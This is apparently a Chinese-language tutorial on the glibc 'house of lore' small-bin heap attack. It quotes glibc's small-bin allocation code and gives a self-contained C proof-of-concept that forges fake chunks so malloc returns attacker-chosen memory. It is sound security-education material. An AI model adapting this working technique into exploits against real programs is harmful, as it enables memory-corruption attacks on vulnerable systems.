Heap基础知识
[toc]
house of lore
house of lore
是针对small bin
的一种攻击方法,和unsorted bin attack
与large bin attack
很类似。个人感觉称之为small bin attack
也没啥问题。
一句话描述该攻击方式:正常情况下,small bin
取出一个chunk
的时候会从末尾取出,这个victim
的bk
指针指向的是倒数第二个chunk
,称为bck
。此时检查bck
的fd
指针是否指向victim
,通过检查后将victim
取出,并将bck
的fd
指针指向small bin
。若我们控制victim
的bk
指针,使其指向一个我们控制的fake_chunk
,那么只需要控制该fake_chunk
的fd
指针指向了victim
,这样以来便可以在取出victim
的时候,将fake_chunk
挂入small bin
中。注意,取出fake_chunk
的时候又需要经过small bin
的检查,因此再此构造一个fake_chunk2
,将fake_chunk2
的fd
指针指向fake_chunk
,fake_chunk
的bk
指向fake_chunk2
即可。
small bin
取出的过程如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| if (in_smallbin_range(nb)) { idx = smallbin_index(nb); bin = bin_at(av, idx);
if ((victim = last(bin)) != bin) { if (victim == 0) malloc_consolidate(av); else { bck = victim->bk; if (__glibc_unlikely(bck->fd != victim)) { errstr = "malloc(): smallbin double linked list corrupted"; goto errout; } set_inuse_bit_at_offset(victim, nb); bin->bk = bck; bck->fd = bin;
if (av != &main_arena) victim->size |= NON_MAIN_ARENA; check_malloced_chunk(av, victim, nb); void *p = chunk2mem(victim); alloc_perturb(p, bytes); return p; } } }
|
笔者在glibc 2.23
下,使用了以下代码成功完成攻击:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| #include <stdio.h> #include <stdlib.h>
int main() { long fake_chunk[0x110]; long fake_chunk2[0x110]; printf("the addr of fake chunk is %p\n", fake_chunk); long* a = malloc(0x100); malloc(0x20); free(a); malloc(0x120);
a[1] = &fake_chunk[0]; fake_chunk[2] = a - 2; malloc(0x100);
fake_chunk[3] = &fake_chunk2[0]; fake_chunk2[2] = &fake_chunk[0]; long* b = malloc(0x100); printf("the addr of chunk b is %p.\n", b - 2); return 0; }
|